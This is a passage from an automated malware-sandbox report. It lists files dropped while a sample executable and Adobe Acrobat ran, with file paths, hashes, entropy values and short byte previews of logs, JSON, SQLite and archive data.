Entropy (8bit):	5.283388904942958
Encrypted:	false
SSDEEP:	6:YEQXJ2HXwdDQmxDWsGiIPEeOF0YhXuoAvJTqgFCrPeUkwRe9:YvXKXdmMsdTeOB1GTq16Ukee9
MD5:	DEBA3ED59C724B3E65ED8F17B3E39694
SHA1:	C0DF4367D5ABEE7099B9AA0D51ACE3814BD6DD56
SHA-256:	5E7E1C8C263C80BD04426FABA96D0291F69B5658E9BBD17451B0A1F068CCAC78
SHA-512:	1DFB0488E0190D8780C30F3504593D1088BEEBAF4989326CE82221CA768410BFC8F820E62BB459CB78A9CD3F6301044E42314FB39EB5BCE516A06893F8847A4A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fb2c826f-f150-4394-aaa7-27f6b2cfbf98","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736524725229,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.127333685796392
Encrypted:	false
SSDEEP:	24:YZUaP7Iay7F1AJ0kGESj3EtCHG4vDYYTNYjRgbCj0ScofY2aoLx2LSuCujlIcn5t:Yd7LEj39V0RgQDgg1cRjlIEhU9K
MD5:	193E89F72E0B6CF001F39903C0D9EDDF
SHA1:	5955353BEE630D88CEF76E5C0D272A11A3D80905
SHA-256:	99103087AA049E818032CE3BB4FCFC0A45A63F5ED6F777B5A5A98B18DD098452
SHA-512:	7AAB2BD808F11641A4FEDF8C121CBA0D46F46F2C4930F56EA71E2152A077AED34970D5888ADD66444F186DE3175DDB5CEBE61965F06060F1F4989B5ADF93C983
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"0adc9e14e1c48da5abc949f0e97813d2","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736348010000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"986ed8459e7710d5fd62dcb30c7c9b33","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736348010000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"fbb42c88faaa1ff092db30921cd29d05","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736348010000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"c5f2c59cd92b0c136262ccce21a5560b","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736348010000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"cd1545530e5a204387d6e702f1cddec6","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736348010000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"d44e826868ff0b85fa114df7530572e7","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.4540021498143676
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2dssClG0:lNVmsw3SHtbDbPe0K3+fDZdb70
MD5:	8AAF3D2921EA1244021245F49BF95849
SHA1:	F113A40EB2B03C0D93FEA983ABD6B2F9EFAA552D
SHA-256:	3C03B4B612DCA7AE6BCDF390F57E1F1E93F3B4DA8A8A47CD032CDA8712F0AF72
SHA-512:	0156D1963BCB98C7B7B078DBF0F8E7C6F8E6DA29E6F5BBFD49593624BE6C99A67A1A0670C37384C623211C3FC681798D21802BE701C01D8FD86261A914DD1DEF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.9573338402680456
Encrypted:	false
SSDEEP:	48:7MErvrBd6dHtbGIbPe0K3+fDy2dssrnqFl2GL7msW:793SHtbDbPe0K3+fDZdbDKVmsW
MD5:	6CC6AD6C17ED7EE0AF387FAD5DF6901A
SHA1:	7C29D9B7ADB4A886E6B89F4051F382B9722B46C7
SHA-256:	F9197FCA9D3199F7848A84BEEBA4E275741F062F36DD3FC9A2715C1E734E36D3
SHA-512:	0131D4E12AF80404A2B2E54626872C49EA2D1E0EA5EF96098F6088EB612B2DF8D68D6CEA7B35451171AA3F37A1E8ECF80D39FD2CFE361EBC389EB237464AAFB5
Malicious:	false
Preview:	.... .c.....%:l.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgxHzMV/oqdf851wl8NRJGnA2qYyu:6a6TZ44ADExHzqO1wl84xqK
MD5:	83A2F8B5E0F38468EAC5B6817CA1D19D
SHA1:	7F3260875252F70C578754724D2790B46161270C
SHA-256:	AE0ECB88B128BF2FE3E3568FA25044CDB70B6F7F9CD0F3ADEA06A5B8755E6A1A
SHA-512:	D5686234E33C7D9024FDD04FD7B88A61D2145F325E736301579BC1039B596B1E37443461EBCD8678A94195442EA3950D52D76AB3DB513A467ED8D87B2AF91E7D
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Temp\$inst\2.tmp

Download File

Process:	C:\Users\user\Desktop\eqRHH2whJu.exe
File Type:	Microsoft Cabinet archive data, 36 bytes, at 0x24 "", number 1, 0 datablock, 0 compression
Category:	dropped
Size (bytes):	36
Entropy (8bit):	1.3753156176197312
Encrypted:	false
SSDEEP:	3:wDl:wDl
MD5:	8708699D2C73BED30A0A08D80F96D6D7
SHA1:	684CB9D317146553E8C5269C8AFB1539565F4F78
SHA-256:	A32E0A83001D2C5D41649063217923DAC167809CAB50EC5784078E41C9EC0F0F
SHA-512:	38ECE3E441CC5D8E97781801D5B19BDEDE6065A0A50F7F87337039EDEEB4A22AD0348E9F5B5542B26236037DD35D0563F62D7F4C4F991C51020552CFAE03B264
Malicious:	false
Preview:	MSCF....$.......$...................

C:\Users\user\AppData\Local\Temp\$inst\temp_0.tmp

Download File

Process:	C:\Users\user\Desktop\eqRHH2whJu.exe
File Type:	Microsoft Cabinet archive data, many, 713528 bytes, 3 files, at 0x2c +A "0" +A "1", number 1, 56 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	713528
Entropy (8bit):	7.999592053370537
Encrypted:	true
SSDEEP:	12288:gbD1JtgNuVSIUa6xbajCPNNIbIV8DSGAF/2K2+21Br9eGmfnfWjgsTo0+DuKriE:glJSuoBa6xGuPAIV8D/6kN1betf2Zo04
MD5:	7012E21E7EA2A7E8C11BF15235428710
SHA1:	AADE81FD733C081FD79D8CA849C0DE37407AEE37
SHA-256:	FE880D56A2B9CBD0A279375921590BA1F53292CD8723DD601E225DF77BC51696
SHA-512:	8EF3DA74B59C4D6A7985179C348448B81DEEEF2448B71B4D04254FDEBE1007AE8316B0BD8B2A6EDDB7D2125CDC0C9E86C53C769F0C056C44876C7694E438A2CB
Malicious:	false
Preview:	MSCF....8.......,...................b...8...Jd........MY.V .0..\..Jd....8Y.. .1.....J.....TY.: .2.Q.E.$f..[...............%.1.3.f`.C..........6T.5j5T6T........d..f.......R.8..Ix.xn..2@&@....6..1..o..0.._.....1......c..D.{Y1L$.,...'.B../........3..D@...Y...j.[.D..V....'.9N.w....c..9QPx>..EQ..X.H..Q.BQ[S..G..u..f..o..$._?.T\|,.....Z4_Z.....i.h..#.Tf.eL@.+,L..4.\|...."..K.......B..N.i~[<f^...k.+....f../..}C.D_..c..`fV.E.E..*.g{C.Z..)&v....a~"I.J......)..&......9Y....1....R.....t....=.6.x.+....3...;..hK.C.#5m1.B'.R4....M.3...EGT........^K.@u.#I..;I..Mn..;~c..._..V....8xTL..K.S.......B.o....5h.8z.=..?PTY.....W..!.n......ot.7{..E.L.X.n:z.2X.p.....)F...^.......9....=>q.[o.8fV..coHQ].E..a.q>.r.+...P....M..O....)..y.....1.=......1..>-.+z....n#m..N..N..).=...`..!...%..7z......mx...\Cnw.b..%...>..p.+....<.S...............<.v.6q.......z.,i..u`.G.n.....^...........?Nz.i.k...,.....W.#.....{.\|...q.Q{?.....3%..Sa..q<..P1v.%n..ST{../OG.C.\|J.8k.M.h7.'

C:\Users\user\AppData\Local\Temp\MSIc166.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5309417490522437
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8esQCl0LUflH:Qw946cPbiOxDlbYnuRK9nUflH
MD5:	F8D50BA8F8F5E624EEEEA8BCEA9CC75B
SHA1:	B8933E5ABFEACEBA43B6298E970E1321E4EB0014
SHA-256:	8475E05260570862499A956E54D0E1827FF02A984CA5197F89CBCE7056D77863
SHA-512:	C2EAA5E6B418318B920AE8731715486F76F9A76DD8E18A422A2CC0F6B49ED3F085B5D6956855D9382DA9BA1730D8A91738F01D6F60D32E1860C397AB2CC192B5
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .0.8./.0.1./.2.0.2.5. . .0.9.:.5.3.:.3.2. .=.=.=.....

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A93fwaz5_5vmubi_2mc.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-08 09-53-24-816.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.372822172587547
Encrypted:	false
SSDEEP:	384:BlB4B2wkytyizN4M8o6oqPmkeh+UaQwLAjTBP3x2j/peIasqIR0WIFIJcWwOrg4Y:FuP
MD5:	E447E479403027FF461392628DFA5148
SHA1:	EA97252AA9E73E0D0CCD684F19FA6791F75381DD
SHA-256:	29A8954C77AAE825D953C940E53273C3F1E0BDED29A52C45EAD9D6B41B21FEB7
SHA-512:	D646F9B9EBB5E8C11426AC9FC7BEACD9897EA907972A4B7E473D26ECA8509C72A701E9D4812AF3AF9E80E75942616AE1B92FB9657DC1E9CB50D091CDED8A8EE2
Malicious:	false
Preview:	SessionID=afbfc115-24c8-4d61-aa6f-e7cb65ebc623.1736348004829 Timestamp=2025-01-08T09:53:24:829-0500 ThreadID=7200 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=afbfc115-24c8-4d61-aa6f-e7cb65ebc623.1736348004829 Timestamp=2025-01-08T09:53:24:834-0500 ThreadID=7200 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=afbfc115-24c8-4d61-aa6f-e7cb65ebc623.1736348004829 Timestamp=2025-01-08T09:53:24:834-0500 ThreadID=7200 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=afbfc115-24c8-4d61-aa6f-e7cb65ebc623.1736348004829 Timestamp=2025-01-08T09:53:24:834-0500 ThreadID=7200 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=afbfc115-24c8-4d61-aa6f-e7cb65ebc623.1736348004829 Timestamp=2025-01-08T09:53:24:834-0500 ThreadID=7200 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.413600453514991
Encrypted:	false
SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gR0:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRG
MD5:	E4B028450A1542E5CE356B2F317AFE95
SHA1:	C681A0C904F6F7FB58F752E06E92A6A58B666660
SHA-256:	E662A18925BD0CD413EF104E0C691F41A0A0D827681655E5D2C0702D44EDFD35
SHA-512:	B2E7196F92E2F7D66663F979563014EC536CDAEA8C8288123E17F8DC94DBA695D1B9255E4F57954BFFD0881FDD6AE1DF6936AEEAAA979FF3D77F85AC7EBBAE21
Malicious:	false
Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\0c089dce-cfaf-443f-8adb-db09881a9d0a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\3efb05f5-ae21-4468-a991-00468cc90fd1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\67d506da-56b4-40ea-a9ed-63b17404a524.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xTwYIGNPgeWL07oYGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JTwZG/WLxYGZN3mlind9i4ufFXpAXkru
MD5:	62F2E9F22B4021BA764763F066157442
SHA1:	0BBCDDCCA2B7342980503F1522E9249B077DED4C
SHA-256:	747B773557070E01063EDCDF20C3DA8DD01599EF5EE5E5320BA7328DFDB2E721
SHA-512:	0D58BA35B2BBE548612357D9252FD87DDDC939B346DC666778CCE2C44E60F4A58434A42FDA5BDC7DF9552999D29ACD35E2F77FC5BD3D423B336F224D157F00A6
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\f1924a4b-0c35-407c-9562-aa63a922dd35.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/M7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZjZwYIGNPJe:RB3mlind9i4ufFXpAXkrfUs03WLaGZje
MD5:	716C2C392DCD15C95BBD760EEBABFCD0
SHA1:	4B4CE9C6AED6A7F809236B2DAFA9987CA886E603
SHA-256:	DD3E6CFC38DA1B30D5250B132388EF73536D00628267E7F9C7E21603388724D8
SHA-512:	E164702386F24FF72111A53DA48DC57866D10DAE50A21D4737B5687E149FF9D673729C5D2F2B8DA9EB76A2E5727A2AFCFA5DE6CC0EEEF7D6EBADE784385460AF
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\aut4F5E.tmp

Download File

